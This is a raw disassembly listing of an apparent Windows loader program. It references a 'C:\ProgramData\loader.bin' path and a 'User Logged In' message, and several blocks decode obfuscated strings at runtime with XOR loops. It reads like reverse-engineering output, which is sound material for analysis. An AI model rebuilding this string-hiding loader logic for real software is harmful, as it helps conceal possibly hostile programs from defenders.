lea r9, [rbp + 0xff0]
mov rax, qword [reloc.WS2_32.dll_ntohs]
cmovae r9, qword [rbp + 0xff0]
mov qword [rbp + 0x818], rdi
mov byte [rbp + 0x808], dil
mov rdi, qword [rbp + 0x1000]
mov qword [rbp + 0x820], reloc.WS2_32.dll_ntohs
cmp rdi, rax
ja 0x140051292
cmp rax, 0x10
mov qword [0x1400ff048], rdi
lea rbx, [0x1400ff038]
mov r8, rdi
cmovae rbx, qword [0x1400ff038]
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x1400512a1
mov rdx, rdi
lea rcx, [0x1400ff038]
call fcn.140058df0
mov rdx, qword [rbp + 0xfc0]
cmp rdx, 0x10
jb 0x1400512e2
mov rcx, qword [rbp + 0xfa8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400512dd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400563f5
call fcn.1400c12a0
mov rdx, qword [rbp + 0x1028]
xor edi, edi
mov qword [rbp + 0xfb8], rdi
mov qword [rbp + reloc.WS2_32.dll_ntohsc0], 0xf
mov byte [rbp + 0xfa8], dil
cmp rdx, 0x10
jb 0x14005133e
mov rcx, qword [rbp + 0x1010]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051339
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400563f5
call fcn.1400c12a0
mov rdx, qword [rbp + 0x1008]
mov qword [rbp + 0x1020], rdi
mov qword [rbp + 0x1028], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1010], dil
cmp rdx, 0x10
jb 0x140051398
mov rcx, qword [rbp + 0xff0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051393
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400563f5
call fcn.1400c12a0
mov rcx, qword [0x140100448]
inc esi
mov rdx, qword [0x140100440]
mov rax, rcx
sub rax, rdx
movsxd rbx, esi
sar rax, 6
mov qword [rbp + 0x1000], rdi
mov qword [rbp + 0x1008], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xff0], dil
cmp rbx, rax
jb 0x140050f30
lea rcx, [0x140100260]
call fcn.1400681f0
xorps xmm0, xmm0
mov qword [rbp + 0x570], rdi
mov r8d, Ordinal_27
mov qword [rbp + 0x578], rdi
lea rdx, str.C:ProgramDataloader.bin
lea rcx, [rbp + 0x560]
movups xmmword [rbp + 0x560], xmm0
call fcn.140058850
lea rdx, [rbp + 0x560]
call fcn.140049ec0
mov rdx, qword [rbp + 0x578]
cmp rdx, 0x10
jb 0x140051461
mov rcx, qword [rbp + 0x560]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005145c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400563f5
call fcn.1400c12a0
xorps xmm0, xmm0
mov qword [rbp + 0x570], rdi
mov r8d, reloc.WS2_32.dll_ntohl
mov qword [rbp + 0x578], reloc.WS2_32.dll_ntohs
lea rdx, str.User_Logged_In
mov byte [rbp + 0x560], 0
lea rcx, [rbp + 0x848]
mov qword [rbp + 0x858], rdi
movups xmmword [rbp + 0x848], xmm0
mov qword [rbp + 0x860], rdi
call fcn.140058850
lea rdx, [rbp + 0x848]
lea rcx, [0x140100260]
call fcn.14006b5b0
mov dword [0x140100178], 0
mov byte [0x1401000ec], 1
mov byte [0x1401000eb], 0
mov dword [0x140100174], 2
mov rcx, r15
call fcn.140011870
mov rcx, qword [0x1401000f0]
mov ebx, 5
mov r8d, edi
mov rax, qword [rcx + 0x1d18]
lea esi, [rbx + 0x1a]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
movss xmm2, dword [rax + 0x54]
subss xmm0, dword [rax + 0x9c]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, dword [0x1400e7da8]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [0x1400e7b38]
mov dword [rbp + 0x6b8], eax
movzx eax, word [0x1400e7b3c]
mov word [rbp + 0x6bc], ax
movzx eax, byte [0x1400e7b3e]
mov byte [rbp + 0x6be], al
movups xmm0, xmmword [0x1400e7b28]
movups xmmword [rbp + 0x6a8], xmm0
cmp r13d, 2
jl 0x1400516fd
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp + 0x6ac]
movdqa xmm5, xmmword [0x1400e7eb0]
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm6, ebx
movd xmm8, esi
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1400515f0
cmp r8d, 0x17
jge 0x140051744
movsxd rax, r8d
lea r9, [rbp + 0x6a8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x140051710
mov dword [rbp + 0x610], 0x3ebebebf
lea rdx, [rbp + 0x6a8]
mov dword [rbp + 0x614], 0x3ebebebf
lea rcx, [rbp - 0x80]
mov dword [rbp + 0x618], 0x3ed4d4d6
movups xmm0, xmmword [rbp + 0x610]
shufps xmm0, xmm0, 0x93
movss xmm0, xmm11
shufps xmm0, xmm0, 0x39
movups xmmword [rbp + 0x610], xmm0
movups xmmword [rbp - 0x80], xmm0
call fcn.14003a4e0
call fcn.140011910
mov rcx, r15
call fcn.140011870
mov rcx, qword [0x1401000f0]
mov r8d, edi
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
movss xmm2, dword [rax + 0x54]
subss xmm0, dword [rax + 0x9c]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x1400e7db4]
addss xmm2, dword [0x1400e7dac]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movzx eax, byte [0x1400e7888]
mov dword [rbp + 0x260], 0x42c80000
mov dword [rbp + 0x264], 0x41200000
mov byte [rbp + 0x6d0], al
movups xmm0, xmmword [0x1400e7878]
movups xmmword [rbp + 0x6c0], xmm0
cmp r13d, 2
jl 0x1400519ad
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp + 0x6c4]
movdqa xmm5, xmmword [0x1400e7eb0]
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm6, ebx
movd xmm8, esi
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1400518a0
cmp r8d, 0x11
jge 0x1400519f4
movsxd rax, r8d
lea r9, [rbp + 0x6c0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1400519c0
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x6c0]
call fcn.14004cb80
test al, al
je 0x140051a2d
mov dword [0x140100178], 0x3f000000
mov byte [0x1401000ec], 1
mov byte [0x1401000eb], 0
mov dword [0x140100174], 1
call fcn.140011910
jmp 0x140056010
cmp ecx, 1
jne 0x140053d13
test al, al
jne 0x140056010
mov rax, qword [r8 + 0x1d18]
lea r9, [rbp + 0x3c8]
lea rdx, [rbp + 0x3a8]
mov byte [rax + 0xd1], cl
mov rax, qword [r8 + 0x1d18]
lea r8, [rbp + 0x3b0]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm12
addss xmm2, xmm14
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movaps xmm1, xmmword [0x1400e7fd0]
movss dword [rax + 0x134], xmm0
lea rax, [rbp + 0x9b0]
mov rcx, qword [0x1401001e0]
xorps xmm0, xmm0
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x960]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x9b0], xmm0
mov dword [rbp + 0x3c8], 0x3f800000
movups xmmword [rbp + 0x960], xmm1
mov dword [rbp + 0x3cc], 0x3f800000
mov qword [rbp + 0x3b0], 0
mov dword [rbp + 0x3a8], 0x43a00000
mov dword [rbp + 0x3ac], 0x43c88000
call fcn.14003c9c0
mov rcx, r12
call fcn.140011870
mov rcx, qword [0x1401000f0]
mov r8d, edi
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
movss xmm2, dword [rax + 0x54]
subss xmm0, dword [rax + 0x9c]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, dword [0x1400e7d30]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movzx eax, byte [0x1400e7930]
mov byte [rbp + 0x800], al
movups xmm0, xmmword [0x1400e7918]
movups xmmword [rbp + 0x7e8], xmm0
movsd xmm0, qword [0x1400e7928]
movsd qword [rbp + 0x7f8], xmm0
cmp r13d, 2
jl 0x140051d4e
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp + 0x7ec]
movdqa xmm5, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm6, eax
mov eax, Ordinal_33
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140051c41
cmp r8d, 0x19
jge 0x140051d94
movsxd rax, r8d
lea r9, [rbp + 0x7e8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140051d60
lea rcx, [rbp + 0x7e8]
call fcn.14003a3e0
call fcn.140011910
mov rcx, qword [0x1401000f0]
lea rdx, [rbp + 0x28]
mov dword [rbp + 0x620], 0x3ebebebf
mov dword [rbp + 0x624], 0x3ebebebf
mov dword [rbp + 0x628], 0x3ed4d4d6
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp - 0x80]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, dword [0x1400e7d48]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movsd xmm0, qword [str._erjwvy]
movzx eax, byte [0x1400e7860]
movsd qword [rbp + 0x28], xmm0
xor al, 0x3d
movups xmm0, xmmword [rbp + 0x620]
xor byte [rbp + 0x29], 0x36
xor byte [rbp + 0x2a], 0x37
xor byte [rbp + 0x2b], 0x38
xor byte [rbp + 0x2c], 0x39
xor byte [rbp + 0x2d], 0x3a
xor byte [rbp + 0x2e], 0x3b
xor byte [rbp + 0x2f], 0x3c
shufps xmm0, xmm0, 0x93
movss xmm0, xmm11
mov byte [rbp + 0x28], 0x55
shufps xmm0, xmm0, 0x39
movups xmmword [rbp + 0x620], xmm0
mov byte [rbp + 0x30], al
movups xmmword [rbp - 0x80], xmm0
call fcn.14003a4e0
mov rbx, qword [0x1401000f0]
lea rdx, [rbp + 0x740]
mov dword [rbp + 0x740], ntohl
movss xmm0, dword [rbx + 0x167c]
lea rcx, [rbx + 0x1e80]
movss dword [rbp + 0x744], xmm0
call fcn.140023b10
mov dword [rbx + 0x167c], 0x3f800000
lea rdx, [rbp + 0x534]
mov rbx, qword [0x1401000f0]
mov dword [rbp + 0x534], 0xa
movss xmm1, dword [rbx + 0x1670]
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1674]
movss dword [rbp + 0x538], xmm1
movss dword [rbp + 0x53c], xmm0
call fcn.140023b10
mov dword [rbx + 0x1670], 0x40e00000
lea rdx, [rbp + 0x4c8]
mov dword [rbx + 0x1674], 0x40e00000
mov rbx, qword [0x1401000f0]
mov qword [rbp + 0x4d4], 0
mov qword [rbp + 0x4cc], 0
mov dword [rbp + 0x4c8], edi
movups xmm0, xmmword [rbx + 0x16fc]
lea rcx, [rbx + 0x1e70]
movups xmmword [rbp + 0x4cc], xmm0
call fcn.140023c00
mov dword [rbx + 0x16fc], 0x3f1f9fa0
mov dword [rbx + 0x1700], 0x3f21a1a2
mov dword [rbx + 0x1704], 0x3f33b3b4
mov dword [rbx + 0x1708], 0x3f800000
mov rcx, qword [0x1401000f0]
or dword [rcx + 0x1e58], 1
mov dword [rcx + 0x1e5c], 0x434e0000
mov rax, qword [rcx + 0x1d18]
lea r8, [0x140100180]
movss xmm9, dword [0x1400e7da0]
mov r9d, reloc.WLDAP32.dll_Ordinal_27
mov qword [rsp + 0x38], rdi
xor edx, edx
mov qword [rsp + 0x30], rdi
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movzx ecx, word [0x1400e7748]
mov dword [rsp + 0x28], edi
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm9
addss xmm2, dword [0x1400e7d58]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movzx eax, byte [0x1400e774a]
movsd xmm0, qword [0x1400e7740]
xor al, 0x3f
movsd qword [rbp + 0xa0], xmm0
xor byte [rbp + 0xa1], 0x36
xor byte [rbp + 0xa2], 0x37
xor byte [rbp + 0xa3], 0x38
xor byte [rbp + 0xa4], 0x39
xor byte [rbp + 0xa5], 0x3a
xor byte [rbp + 0xa6], 0x3b
xor byte [rbp + 0xa7], 0x3c
mov word [rbp + 0xa8], cx
xor cl, 0x3d
xor byte [rbp + 0xa9], 0x3e
mov byte [rbp + 0xaa], al
lea rax, [rbp + 0x3a0]
mov byte [rbp + 0xa8], cl
lea rcx, [rbp + 0xa0]
mov qword [rsp + 0x20], rax
mov byte [rbp + 0xa0], reloc.WLDAP32.dll_Ordinal_35
mov qword [rbp + 0x3a0], 0
call fcn.140040190
mov r8, qword [0x1401000f0]
mov rcx, qword [r8 + 0x1e78]
movsxd rax, dword [r8 + 0x1e70]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
dec dword [r8 + 0x1e70]
movsxd rax, dword [r8 + 0x1e80]
mov rdx, qword [r8 + 0x1e88]
lea rcx, [rax + rax*2]
movsxd rax, dword [rdx + rcx*4 - 0xc]
lea rax, [rax + rax*2]
cmp dword [rsi + rax*4 + 0xd4cb0], 8
mov r9d, dword [rsi + rax*4 + 0xd4cb8]
jne 0x140052191
mov eax, dword [rsi + rax*4 + 0xd4cb4]
cmp eax, 1
jne 0x140052174
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r9 + r8 + 0x1638], eax
jmp 0x140052191
cmp eax, 2
jne 0x140052191
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r9 + r8 + 0x1638], eax
mov eax, dword [rdx + rcx*4 - 4]
mov dword [r9 + r8 + 0x163c], eax
movsxd rcx, dword [r8 + 0x1e80]
lea eax, [rcx - 1]
mov dword [r8 + 0x1e80], eax
lea rax, [rcx - 2]
lea rcx, [rax + rax*2]
movsxd rax, dword [rdx + rcx*4]
lea r9, [rax + rax*2]
cmp dword [rsi + r9*4 + 0xd4cb0], 8
mov r10d, dword [rsi + r9*4 + 0xd4cb8]
jne 0x1400521fd
mov eax, dword [rsi + r9*4 + 0xd4cb4]
cmp eax, 1
jne 0x1400521e0
mov eax, dword [rdx + rcx*4 + 4]
mov dword [r10 + r8 + 0x1638], eax
jmp 0x1400521fd
cmp eax, 2
jne 0x1400521fd
mov eax, dword [rdx + rcx*4 + 4]
mov dword [r10 + r8 + 0x1638], eax
mov eax, dword [rdx + rcx*4 + 8]
mov dword [r10 + r8 + 0x163c], eax
dec dword [r8 + 0x1e80]
lea rdx, [rbp + 0x18]
mov rax, qword [r8 + 0x1d18]
lea rcx, [rbp - 0x80]
mov dword [rbp + 0x630], 0x3ebebebf
mov dword [rbp + 0x634], 0x3ebebebf
mov dword [rbp + 0x638], 0x3ed4d4d6
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, dword [0x1400e7d6c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movsd xmm0, qword [str.ewdknuix]
movzx eax, byte [0x1400e7700]
movsd qword [rbp + 0x18], xmm0
xor al, 0x3d
movups xmm0, xmmword [rbp + 0x630]
xor byte [rbp + 0x19], 0x36
xor byte [rbp + 0x1a], 0x37
xor byte [rbp + 0x1b], 0x38
xor byte [rbp + 0x1c], 0x39
xor byte [rbp + 0x1d], 0x3a
xor byte [rbp + 0x1e], 0x3b
xor byte [rbp + 0x1f], 0x3c
shufps xmm0, xmm0, 0x93
movss xmm0, xmm11
mov byte [rbp + 0x18], 0x50
shufps xmm0, xmm0, 0x39
movups xmmword [rbp + 0x630], xmm0
mov byte [rbp + 0x20], al
movups xmmword [rbp - 0x80], xmm0
call fcn.14003a4e0
mov rbx, qword [0x1401000f0]
lea rdx, [rbp + 0x778]
mov dword [rbp + 0x778], ntohl
movss xmm0, dword [rbx + 0x167c]
lea rcx, [rbx + 0x1e80]
movss dword [rbp + 0x77c], xmm0
call fcn.140023b10
mov dword [rbx + 0x167c], 0x3f800000
lea rdx, [rbp + 0x51c]
mov rbx, qword [0x1401000f0]
mov dword [rbp + 0x51c], 0xa
movss xmm1, dword [rbx + 0x1670]
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1674]
movss dword [rbp + 0x520], xmm1
movss dword [rbp + 0x524], xmm0
call fcn.140023b10
mov dword [rbx + 0x1670], 0x40e00000
lea rdx, [rbp + 0x4b0]
mov dword [rbx + 0x1674], 0x40e00000
mov rbx, qword [0x1401000f0]
mov qword [rbp + 0x4bc], 0
mov qword [rbp + 0x4b4], 0
mov dword [rbp + 0x4b0], edi
movups xmm0, xmmword [rbx + 0x16fc]
lea rcx, [rbx + 0x1e70]
movups xmmword [rbp + 0x4b4], xmm0
call fcn.140023c00
mov dword [rbx + 0x16fc], 0x3f1f9fa0
mov dword [rbx + 0x1700], 0x3f21a1a2
mov dword [rbx + 0x1704], 0x3f33b3b4
mov dword [rbx + 0x1708], 0x3f800000
mov rcx, qword [0x1401000f0]
or dword [rcx + 0x1e58], 1
mov dword [rcx + 0x1e5c], 0x434e0000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
lea r8, [0x140100158]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
mov edx, 0x8000
subss xmm2, dword [rax + 0xa0]
movzx ecx, word [0x1400e7758]
mov r9d, reloc.WLDAP32.dll_Ordinal_27
mov qword [rsp + 0x38], rdi
addss xmm0, xmm9
mov qword [rsp + 0x30], rdi
addss xmm2, dword [0x1400e7d74]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movzx eax, byte [0x1400e775a]
cmp byte [0x1401000e9], 0
movsd xmm0, qword [0x1400e7750]
cmovne edx, edi
movsd qword [rbp + 0x90], xmm0
xor byte [rbp + 0x91], 0x36
xor al, 0x3f
xor byte [rbp + 0x92], 0x37
xor byte [rbp + 0x93], 0x38
xor byte [rbp + 0x94], 0x39
xor byte [rbp + 0x95], 0x3a
xor byte [rbp + 0x96], 0x3b
xor byte [rbp + 0x97], 0x3c
mov word [rbp + 0x98], cx
xor cl, 0x3d
xor byte [rbp + 0x99], 0x3e
mov dword [rsp + 0x28], edx
xor edx, edx
mov byte [rbp + 0x9a], al
lea rax, [rbp + 0x388]
mov byte [rbp + 0x98], cl
lea rcx, [rbp + 0x90]
mov qword [rsp + 0x20], rax
mov byte [rbp + 0x90], reloc.WLDAP32.dll_Ordinal_35
mov qword [rbp + 0x388], 0
call fcn.140040190
mov r8, qword [0x1401000f0]
mov rcx, qword [r8 + 0x1e78]
movsxd rax, dword [r8 + 0x1e70]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
dec dword [r8 + 0x1e70]
movsxd rax, dword [r8 + 0x1e80]
mov rdx, qword [r8 + 0x1e88]
lea rcx, [rax + rax*2]
movsxd rax, dword [rdx + rcx*4 - 0xc]
lea rax, [rax + rax*2]
cmp dword [rsi + rax*4 + 0xd4cb0], 8
mov r9d, dword [rsi + rax*4 + 0xd4cb8]
jne 0x1400525ef
mov eax, dword [rsi + rax*4 + 0xd4cb4]
cmp eax, 1
jne 0x1400525d2
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r9 + r8 + 0x1638], eax
jmp 0x1400525ef
cmp eax, 2
jne 0x1400525ef
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r9 + r8 + 0x1638], eax
mov eax, dword [rdx + rcx*4 - 4]
mov dword [r9 + r8 + 0x163c], eax
movsxd rcx, dword [r8 + 0x1e80]
lea eax, [rcx - 1]
mov dword [r8 + 0x1e80], eax
lea rax, [rcx - 2]
lea rcx, [rax + rax*2]
movsxd rax, dword [rdx + rcx*4]
lea r9, [rax + rax*2]
cmp dword [rsi + r9*4 + 0xd4cb0], 8
mov r10d, dword [rsi + r9*4 + 0xd4cb8]
jne 0x14005265b
